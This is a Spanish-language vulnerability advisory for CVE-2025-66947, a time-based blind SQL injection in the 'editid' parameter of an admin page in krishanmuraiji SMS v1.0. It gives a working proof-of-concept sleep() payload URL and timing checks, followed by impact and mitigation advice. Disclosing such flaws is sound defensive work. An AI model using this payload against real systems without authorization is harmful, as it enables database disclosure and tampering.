CVE-2025-66947

Inyección SQL ciega basada en tiempo en krishanmuraiji SMS v1.0

⏱️ Comparación visual: respuesta normal vs respuesta retardada ~6s

🔍 Resumen

TL;DR: Un parámetro GET en un módulo administrativo permite inyección SQL basada en tiempo mediante retardos en la respuesta.

Existe una 𝗶𝗻𝘆𝗲𝗰𝗰𝗶ó𝗻 𝗦𝗤𝗟 𝗰𝗶𝗲𝗴𝗮 𝗯𝗮𝘀𝗮𝗱𝗮 𝗲𝗻 𝘁𝗶𝗲𝗺𝗽𝗼 en krishanmuraiji SMS v1.0 debido a una validación incorrecta de un parámetro GET en un módulo administrativo.

---

🎯 Componente afectado

• Archivo: /studentms/admin/edit-class-detail.php
• Parámetro: editid (GET)
• Problema: Entrada no saneada directamente usada en la consulta SQL

🧪 Prueba de concepto (PoC)

Paso 1 — Solicitud normal

/studentms/admin/edit-class-detail.php?editid=12

Paso 2 — Inyectar payload basado en tiempo

/studentms/admin/edit-class-detail.php?editid=12*if(now()=sysdate(),sleep(6),0)

Resultado esperado

• Respuesta del servidor retardada por ~6 segundos
• Sin mensaje de error visible
• El retardo confirma la inyección SQL

⏱️ Verificación de tiempos

Payload	Retardo
sleep(3)	~3s
sleep(6)	~6s
sleep(15)	~15s

Retardo consistente = Inyección SQL Confirmada

📌 Dónde aparece este patrón

Este patrón de vulnerabilidad aparece comúnmente en:

• Aplicaciones PHP CRUD
• Sistemas de estudiantes, bibliotecas, inventarios
• Paneles de administración que confían en parámetros GET numéricos
• Aplicaciones con errores SQL desactivados

🛡️ Impacto

• Divulgación de información de la base de datos
• Modificación no autorizada de datos
• Escalada de privilegios
• Compromiso de la base de datos del backend

🧠 Por qué es importante

Incluso cuando se requiere autenticación y los errores están ocultos,
la inyección SQL basada en tiempo sigue siendo explotable y peligrosa.

Gravedad: Alta

🔧 Mitigación

• Usar declaraciones preparadas
• Validar parámetros numéricos
• Evitar concatenación de consultas SQL
• Aplicar acceso a base de datos con privilegios mínimos

🆔 CVE

CVE-2025-66947

👤 Descubridor

Ranjan Kumar

⚠️ Descargo de responsabilidad

Esta PoC se proporciona únicamente con fines educativos y defensivos.

CVE-2025-66947, SQL Injection, Inyección SQL ciega basada en tiempo, PHP, Panel de administración